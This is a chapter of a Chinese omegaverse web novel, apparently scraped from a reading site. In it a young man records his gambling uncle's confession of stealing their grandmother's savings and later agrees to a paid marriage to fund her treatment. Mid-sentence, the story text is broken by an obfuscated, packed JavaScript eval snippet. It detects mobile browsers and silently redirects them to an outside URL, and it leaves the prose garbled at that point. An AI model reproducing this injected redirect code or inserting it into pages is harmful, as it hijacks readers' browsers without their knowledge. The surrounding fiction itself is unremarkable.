默认冷灰
24号文字
方正启体

7. 嫁人

作者:双面煎大鳕鱼本书字数:K更新时间:
    甄老太太暗自垂泪。她年轻时是富家小姐,总归是要体面的,哭也不愿意正对人哭,就藏在厕所里跟外孙通电话。


    电话里,甄野好似愣了几秒,紧接着抓起包往外跑,间或急促地说:“姥姥您别急,我马上到——”


    甄玉珍想起他脊椎在国外摔伤过,怕他跑急了伤着,“乖乖,你慢点啊!”


    那边着急带喘,回了句,“姥姥我打到车了。”


    甄玉珍还想再说两句,可甄宏明已经来敲门了。他耳朵贴在门上,不耐烦地喊:“妈,您好了没啊,我们要走了。”


    门一开,老太太低着脸出来,甄宏明一看她红通通的眼角,就皱紧眉头。


    但想起病房还有其他人,他马上软了声哄:“妈,我不都跟您说了嘛,我那是拿钱投资去了,不出一个月,钱就翻倍回来了。”


    接着微微提高声音,让整个病房都听见:


    “到时候咱们也不用外边来的肾,谁知道是不是从墙外面的尸体挖来的,品质都不行。您儿子孝顺,买容森公司的克隆肾,用最好的!”


    病房是四人间,其他三家听到这话,都对甄宏明投来不悦的目光。


    他所说的“墙外”,是围着茂城的一堵隔离带。出了隔离带朝外再开两个小时,便进入国家划定的禁区地带。


    那里区域庞大,时常爆发变异植物,动物,真菌污染。每年国家都要投资,并号召军人、警察和社会志愿者去清理。


    禁区地带环境危险,死亡率居高不下,而自愿前去的义士里有不少签署了遗体捐赠协议,便成了社会上默认的器官供给源之一。


    甄老太太听他踩高拜低,还没等其他人抗议,上去就是一巴掌,“啪——!”响亮得打在甄宏明脸上。


    甄玉珍的丈夫,也就是甄野的外公,是一名退伍军人。因在边境禁区服役多年,熟谙复杂地貌,退役后便创立了一家公司,专司收殓运送遗体,和安抚家属。


    他对那些逝去的生命,始终保持着敬重。


    他们的女儿甄宜,也继承了这份心志与事业。


    唯独甄宏明嫌恶这份工作,觉得是和死尸打交道的脏活,不够体面。等甄宜去世,轮到他接手公司,他听了那群狐朋狗友的建议,非要给公司转型,活生生把公司玩没了。


    甄玉珍抬手背抹泪,“要是小宜还在就好了……”


    甄宏明从小就活在那个优秀的姐姐阴影下,没想到人都死了十年了,还要被拉着比较。


    一股邪火蹭得窜上来,他冷笑一声:“妈,我姐早就死了,现在能管你死活的,只有我这个儿子。你今天走也得走,不走也得走!”


    他拽着老太太下楼,动作十分粗暴,准备把甄玉珍丢在住院部楼下,再上楼去取行李。


    可等他下来时,不远处蓝色的塑料座椅上,有人正蹲在旁边,细声安慰着老人。


    那背影瘦削,洗得发旧的冲锋衣领口,伸出一抹白皙无痕的后颈。像是生锈的茶壶里,倾倒出的牛奶。


    甄宏明想起昨晚跟他共度春宵的漂亮女人,妈的,那omega的居然还没他外甥白嫩。


    他无端起了些歪心思,打算凑近瞧瞧。然而这时甄野立身站起,侧转过来,那张肖似甄宜的清艳脸蛋,又让甄宏明平添了几分恼火。


    甄野脚步一移,挡在了外婆身前。


    他虽是omega,但生得高挑,一道伶仃的影子斜斜投下来,宛如一片荫蔽,将老人的身影严严实实罩了进去。


    “舅舅。我们出去说。”


    他语调冷淡。


    甄宏明嗤笑一声,这架势,难不成还要找他兴师问罪,他可不怕。


    两人来到楼外角落,甄野先开口:“甄宏明,你偷了姥姥那三十万打算怎么还?”


    甄宏明没料到他上来就直呼其名,脸色微微发青,立即搬出身份,“甄野,你怎么跟长辈说话的?一点礼貌都没有!”


    “我跟赌狗没有礼貌可言。”


    “什么赌!?——那是老太太糊涂弄错了!我是借了老太太的钱去投资,投资你懂吗?哎哟……反正这事轮不到你一个小辈插手。”


    “我懂,”甄野平静无表情,“你一定是四处说姥姥住院,然后被人盯上做局,骗你投资项目。”


    甄宏明斜乜着眼,不屑一顾,“对方可是大公司,美国的科技企业,有行业背书的。你一个文科omega,你懂什么!”


    甄野眼角流露些讥讽,“什么大公司能不做背调,找一个吃喝嫖赌的老赖投资?还只要三十万?”


    甄宏明被他一句话噎住,憋红了脸。


    其实事后他也意识到那女人有点不对。可当时他在兴头上,对方又甜甜喊他“甄老板”,说什么当年亏钱只是一时的,现在抓住机会翻盘也不迟。


    他一时鬼迷心窍,就把老太太卡里那三十万划走了。


    甄宏明表情发虚,嘴上却还在强词夺理,“反正……反正那是我亲妈的钱,她就我这一个儿子,那钱本来就该是我的。我照顾她这些年,没有功劳也有苦劳,与其花那么多钱换肾,还不如都给我!……倒是你——”


    甄宏明找着重点,一下子把矛头对准甄野,恶声恶气:“小小年纪天天来我们家来蹭吃蹭喝,也没见你孝敬个千儿八万的。”


    “你要是真心疼老太太,你怎么不掏这三十万出来?只会空口说大话,嗯?何家的大少爷?”


    甄宏明见甄野表情微变,忍不住洋洋得意。


    他知道甄野不愿意回到那个虐待他的何家,也拿不出三十万。他就是故意这么说,好刺激甄野。


    甄野有抑郁症他也是知晓的。


    但那又怎么样。


    除了快死的老太太,甄家何家没一个人把他当回事。


    “——好,我出。”


    清清脆脆一句话,周围喧嚣的风都静了。


    甄宏明先是一怔,才看向说话的甄野。


    青年双手插在外套口袋,姿态几乎是散漫的,虽然疲惫的眼底泛着红丝,却神情平静,就这么无波无澜地把一切都揽下来。


    那一瞬间,甄宏明露出一种微妙见鬼的表情。因为这时的甄野,像极了他那个死透的,大包大揽的姐姐。


    而甄野下面的动作,更让他面露惊慌,差点魂飞魄散。


    只见甄野拿出兜里的手机,在他眼前晃了晃,展示录音界面,淡然道:


    “顺便,你刚才说的每一个字,我都会原封不动放给姥姥和警察听。姥姥说过,你再赌,就送你进去。”


    他顿了顿,微微扬起下颌,睥睨甄宏明瞬间血色尽失的脸:


    “正好,这三十万,够你牢底坐穿。”


    ·


    甄野说到做到,转头带着老太太去报案。


    甄玉珍也是识大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147190|196403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体的,不会像寻常老人一样,儿子犯错只是一味纵容。


    或者说,她正是知道其中利害,怕甄宏明一错再错,才坚决要把事情了结。


    而且只有报了案,那被骗投资的三十万,才有希望追回来。


    但办案的警察同志提前给他们打了预防针,摇着头说:


    “这个诈骗团伙经验老道,钱一转过去,就立即倒了几手,现在已经转到境外银行了。”


    “案件侦破有难度,钱也不能保证追回,但我们会尽力的。”


    “后续如果有新线索,也请你们及时提供。”


    得知追回希望渺茫,刚才还气势汹汹骂儿子的甄玉珍,一下子愣坐在椅子上,好像蔫了,缩了,佝偻的身子变得更矮小了。


    甄野拿了报案回执单,打算先送外婆回家。


    细濛濛的雨丝落在鼻梁,凉飕飕的,派出所的女警追出来递了把便民伞,甄野朝她说声谢谢,转身把大半伞面,向外婆那边倾斜。


    祖孙二人依偎着往公交车站走。路不长,却让人觉得格外疲累,遥远,仿佛永远走不到尽头,永远不知道下一条路在哪。


    走到车站,甄玉珍停下来。


    她苍老起皱的手,有点发颤地抓着甄野胳膊。仿佛十多年前,她去学校门口接孙子,怕这只兔儿跑了,摔了,那样小心用力。


    她慢慢笑着,好像往日和孙子闲聊一样,释然了,“乖乖啊,姥姥的病,不治了……”


    甄野的心脏,一下子哽住了。


    她是世上仅存的,会把他当作孩子疼爱的人。也是唯一一个,会主动迁就他的情绪,小心翼翼用近乎讨好的,逗巧的语气和他解释这世间最残酷道理的人:


    “再治可要卖房子了,姥姥这把年纪,再活都要成人精咯,不值当。所以咱不治了。


    “房子我要留给我们乖乖的。”


    “乖乖……姥姥说不定哪天就走了,但是乖乖,姥姥家永远是你的家。”


    “以后还来姥姥家,看动画片吧。”


    甄野张了张唇,想说什么,可一股酸意涌上鼻腔,让他瞬间模糊了视线。


    姥姥脸上岁月的痕迹,好像也在这片模糊里慢慢褪去,回到了他幼时印象里的模样。


    他想说,姥姥,我已经长大了,不用再看动画片了。


    还想说,姥姥,我总去你的家,是因为只有你还记得我妈妈。


    “乖乖,乖乖别哭……”


    可妈妈走了很久了,姥姥也要走了。


    再没有人能记得我小时的琐事。


    再没有人叫我乖乖,在深秋寒雨的放学门口,把一个温热的水袋,塞进我怀中。


    我已经没有了妈妈,不能再没有妈妈的妈妈。


    我要你留下,我要救姥姥。


    所以甄野……


    甄野。


    有人说过你的尊严很值钱。


    那你这次。


    一定要把自己,卖个好价钱。


    ……


    Vip接待室里,钟丽芸放下新款鳄鱼皮包,从生活秘书手里接过手机。


    钟丽芸瞄了眼儿子,何君华正在试穿一件十二万的高定大衣,颜色雪白,把他衬得皮肤柔白,天真纯美。


    同时,耳边扬声器传来一把被生活磋磨到嘶哑的嗓音:


    “我嫁。”


    “——但我要300万。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)